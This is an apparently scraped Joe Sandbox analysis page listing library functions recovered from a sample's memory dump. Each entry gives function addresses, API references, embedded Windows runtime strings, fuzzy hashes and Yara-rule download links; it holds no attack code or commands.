Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: a167312b6b4213007bb782e31a2330bf927fa09dad8f62f4225cc884200cffac
Instruction ID: 0a2a6bccf57b74669135fc915fec59ba5444a59e5f638f92d9dfc0a2d4a0b0b9
Opcode Fuzzy Hash: a167312b6b4213007bb782e31a2330bf927fa09dad8f62f4225cc884200cffac
Instruction Fuzzy Hash: 34F115B2D00209EFDF51DF94C985DEEB7B8FF08301F14446AE905A7211EB78AA45DB61

Uniqueness

Uniqueness Score: -1.00%

Function 007C822C Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 160COMMON

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 007C8240
_wcsnlen.LIBCMT ref: 007C825C

Strings

StandardName, xrefs: 007C82A8
Bias, xrefs: 007C8282
StandardStart, xrefs: 007C82E5
TimeZoneKeyName, xrefs: 007C836A, 007C839B
DaylightBias, xrefs: 007C8324
StandardBias, xrefs: 007C82C7
DaylightName, xrefs: 007C8309
DynamicDaylightTimeDisabled, xrefs: 007C83C1
DaylightStart, xrefs: 007C8341

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: _wcsnlen
String ID: Bias$DaylightBias$DaylightName$DaylightStart$DynamicDaylightTimeDisabled$StandardBias$StandardName$StandardStart$TimeZoneKeyName
API String ID: 3628947076-1387797911
Opcode ID: 45a8b8d171f889cc70c24fd5bd6995d95b7b6813f3ca3df15b22deb4b2b4fd66
Instruction ID: 1f8624bbf28ab91affbf77502756dff77c890b3d05ab19b9db422aaed68dd23d
Opcode Fuzzy Hash: 45a8b8d171f889cc70c24fd5bd6995d95b7b6813f3ca3df15b22deb4b2b4fd66
Instruction Fuzzy Hash: 2D41D871340249FBEB029A91CC46FDF77ACAF05B44F24412EBA10D6191DBB8DB00C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 007713CB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0077146B
___swprintf_l.LIBCMT ref: 00771490
___swprintf_l.LIBCMT ref: 0079E970

Strings

ffff:, xrefs: 0079E94B
:%u.%u.%u.%u, xrefs: 0079E9F4
::%hs%u.%u.%u.%u, xrefs: 0079E967
::ffff:0:%u.%u.%u.%u, xrefs: 0079E9B0

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 59c23085ba10354ed0dbefd77a867b06506bf85c047e00b519c9bda4d0c4d4ad
Instruction ID: a592f67da5e6c95447368361a62582baff0230017c4683c62d1ce5317f2ce97e
Opcode Fuzzy Hash: 59c23085ba10354ed0dbefd77a867b06506bf85c047e00b519c9bda4d0c4d4ad
Instruction Fuzzy Hash: A96137B1900655EADF34CF5DC8808BE7BB5EF94300B94C52DF99A47641D27CAA40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 007D3B8E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 007D3C2C
___swprintf_l.LIBCMT ref: 007D3C68
___swprintf_l.LIBCMT ref: 007D3D09
___swprintf_l.LIBCMT ref: 007D3D31
___swprintf_l.LIBCMT ref: 007D3D56
___swprintf_l.LIBCMT ref: 007D3D8D

Strings

ffff:, xrefs: 007D3C06, 007D3C22
::%hs%u.%u.%u.%u, xrefs: 007D3C23
::ffff:0:%u.%u.%u.%u, xrefs: 007D3C5F
:%u.%u.%u.%u, xrefs: 007D3D84

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 630ab70d112e57bdb7f76a482d2b70629c8713a65bf5c2105032cc45ca60427c
Instruction ID: b02a3f6a37ec503a258dbe205155a7e9da450b2c8fa5387403bddc89279d946c
Opcode Fuzzy Hash: 630ab70d112e57bdb7f76a482d2b70629c8713a65bf5c2105032cc45ca60427c
Instruction Fuzzy Hash: FD61A6B2910648ABDB20DF69C84147E7BF5EF54311B14C52AF8ADA7241E278EF409B72

Uniqueness

Uniqueness Score: -1.00%

Function 00767EFD Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 00783F12

Strings

CLIENT(ntdll): Processing section info %ws..., xrefs: 0078E345
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 0078E2FB
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 00783F75
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 00783EC4
ExecuteOptions, xrefs: 00783F04
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 00783F4A
Execute=1, xrefs: 00783F5E

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: 8c3e7fdc5723d0e96eb76f8360080767cb1f7082ea6d171203cbb11717abd005
Instruction ID: 30286a2fc8b3622a829d088f6c0825a0d86035c3761885e44a4e3d126e91a33d
Opcode Fuzzy Hash: 8c3e7fdc5723d0e96eb76f8360080767cb1f7082ea6d171203cbb11717abd005
Instruction Fuzzy Hash: 2641AD7168061CFADB20AE54DCCAFDA73BCAF54714F000595B605E6092EB789B46CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00770B15 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 00770BF6
__fassign.LIBCMT ref: 00770CA2

Strings

., xrefs: 00770A0C
:, xrefs: 00770AC7
:, xrefs: 00770BA9

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: d5d01b3d71e993e05c5a94f67dae0f804c7ecfa9f38d3ef88ee363e3ccdcc407
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: 79A19D7190030AEFCF25CF64C8556FEB7B4AF15384F24C56AD84AA7282D6389A41CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00770554 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00792206

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 007922FC
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 0079220E
RTL: Resource at %p, xrefs: 0079221D, 0079230B
RTL: Re-Waiting, xrefs: 0079223A, 00792328

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: ea8b125d9ef6c6a1f81b7a30b86e1f31ecab890a4025023f15d43038b9ceb4d1
Instruction ID: fbe174005d69523103c40687462872883b2a849454bbf419938160b7b3bbf122
Opcode Fuzzy Hash: ea8b125d9ef6c6a1f81b7a30b86e1f31ecab890a4025023f15d43038b9ceb4d1
Instruction Fuzzy Hash: AD514B75740205BBEF14EB18DC85FA673A9AF94710F218229FD48DB287D969EC4287D0

Uniqueness

Uniqueness Score: -1.00%

Function 007714C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0079EA22

Part of subcall function 007713CB: ___swprintf_l.LIBCMT ref: 0077146B
Part of subcall function 007713CB: ___swprintf_l.LIBCMT ref: 00771490

___swprintf_l.LIBCMT ref: 0077156D

Strings

%%%u, xrefs: 00771564
]:%u, xrefs: 0079EA47

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: c95d9cebe4ec59ca1efadec51e05ad87c3db3f5432c1afbd5dbe1d25774b1219
Instruction ID: d3a778ee60efaa949fd91bc014b9dfe59e3c424b9fb95e479ac8a1f065700a8e
Opcode Fuzzy Hash: c95d9cebe4ec59ca1efadec51e05ad87c3db3f5432c1afbd5dbe1d25774b1219
Instruction Fuzzy Hash: F721C1B29006199BDF24DE68DC45AEE73ACEB50740F848151FD4AD3141EB78AA688BE0

Uniqueness

Uniqueness Score: -1.00%

Function 007D3DA7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 007D3DF3
___swprintf_l.LIBCMT ref: 007D3E1D
___swprintf_l.LIBCMT ref: 007D3E46

Strings

]:%u, xrefs: 007D3E3D
%%%u, xrefs: 007D3E14

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 74617fcbfa08c9a4f29d527634afd56ccac22082a7eb57c9708f23474936827b
Instruction ID: 29eec9e24567eb303c6f7147d9f79d7054caa961e8e7e1879f0427c415745506
Opcode Fuzzy Hash: 74617fcbfa08c9a4f29d527634afd56ccac22082a7eb57c9708f23474936827b
Instruction Fuzzy Hash: 5E2171B290022AABDB10AE659C459EF77BDAF18714F040526FD0497282E7B89F54C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 007553A5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007922F4

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 007922FC
RTL: Resource at %p, xrefs: 0079230B
RTL: Re-Waiting, xrefs: 00792328

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 176a540a19378ff52b2f9e19780f0a3f78eadc503e5092e143d51d0303dcb6fa
Instruction ID: 617c8ec89938efa80c4a1cb6ff93843e3e6c22bb7d26e354bf558c5284d7d131
Opcode Fuzzy Hash: 176a540a19378ff52b2f9e19780f0a3f78eadc503e5092e143d51d0303dcb6fa
Instruction Fuzzy Hash: BD513B71600701BBDF10AB28DC85FE67398AF55764F114229FD08DB282E6A9ED468790

Uniqueness

Uniqueness Score: -1.00%

Function 0075EC56 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 007924BD
RTL: Re-Waiting, xrefs: 007924FA
RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 0079248D

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: 12b4d72e27fa7f8322d06c4a7a044918107d7e27006ab8e447ea1f96f249d165
Instruction ID: ccecc2dcbb6b071fd3e107c012a6e81c582c39697ccf4ca897e8668307f5a3c1
Opcode Fuzzy Hash: 12b4d72e27fa7f8322d06c4a7a044918107d7e27006ab8e447ea1f96f249d165
Instruction Fuzzy Hash: 7D41D8B0600204FBDB24EB68DC89FAA77B9EF44710F208615F955D72D2D67CED528760

Uniqueness

Uniqueness Score: -1.00%

Function 0076FCC9 Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 0076FD94

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: 3c123995bb8216e2d328b87d6bbdc2c6c000a0e32058bc97e5d35d372c73db28
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: CF91D671E0020AEFDF24DF58D8456EEBBB4FF55304F24807AD842A7162E7395A51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 007E5CFA Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 007E5DE8

Strings

$, xrefs: 007E5D36
0, xrefs: 007E5DBF

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: __aulldvrm
String ID: $$0
API String ID: 1302938615-389342756
Opcode ID: 4beaf5e29e1591462d9b3bb46aa6f941306071a50b2db0de6fd35cf3dc8226e4
Instruction ID: 5b5e5360dc5f21a76ce88e20211e03c6e6e85db3367fa2854b88a9a5b785b0b3
Opcode Fuzzy Hash: 4beaf5e29e1591462d9b3bb46aa6f941306071a50b2db0de6fd35cf3dc8226e4
Instruction Fuzzy Hash: 5591A530D066CDDFDF25CFAAC8853EDBBB1AF49318F14465AD4A1AB291C7784A41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 007AE759 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

_wcstoul.LIBCMT ref: 007AE7B2

Strings

Set 0x%X protection for %p section for %d bytes, old protection 0x%X, xrefs: 007AE893
]x, xrefs: 007AE75B

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: _wcstoul
String ID: Set 0x%X protection for %p section for %d bytes, old protection 0x%X$]x
API String ID: 1097018459-3343864547
Opcode ID: 25cea16187418f65a94f002e54d1e26c17bd52413924c558e6d4ea6293bedfc6
Instruction ID: bd677a5325f568174c220776ac0db13bf5c9d48c7bc308bd63513658312d371a
Opcode Fuzzy Hash: 25cea16187418f65a94f002e54d1e26c17bd52413924c558e6d4ea6293bedfc6
Instruction Fuzzy Hash: D441B172C00249EADF10DFE4C885BEEB7B8AF86310F10966AF551A7081E77CDA94C760

Uniqueness

Uniqueness Score: -1.00%

Function 0076C558 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0076C5C4

Strings

{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}, xrefs: 0076C5BB
1s, xrefs: 0076C56F

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: ___swprintf_l
String ID: 1s${%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}
API String ID: 48624451-1946412030
Opcode ID: f548b2fb9f9479ea38822a3b4a3bcba0772a09b9fffda3703d27a02004c228ab
Instruction ID: 7ac45f81307a6df3911eb3b7c5e6960220cc8496fe21478108cd81518d30aade
Opcode Fuzzy Hash: f548b2fb9f9479ea38822a3b4a3bcba0772a09b9fffda3703d27a02004c228ab
Instruction Fuzzy Hash: 100161A60085B065D72187AB4C11832FBF99FCEA15728C08EF6D98A296E17FC542D770

Uniqueness

Uniqueness Score: -1.00%

Function 007AE8DB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

_wcstoul.LIBCMT ref: 007AE901

Part of subcall function 007E5AA6: __cftof.LIBCMT ref: 007E5AB6

Strings

CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X, xrefs: 007AE91B
]x, xrefs: 007AE8E3

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
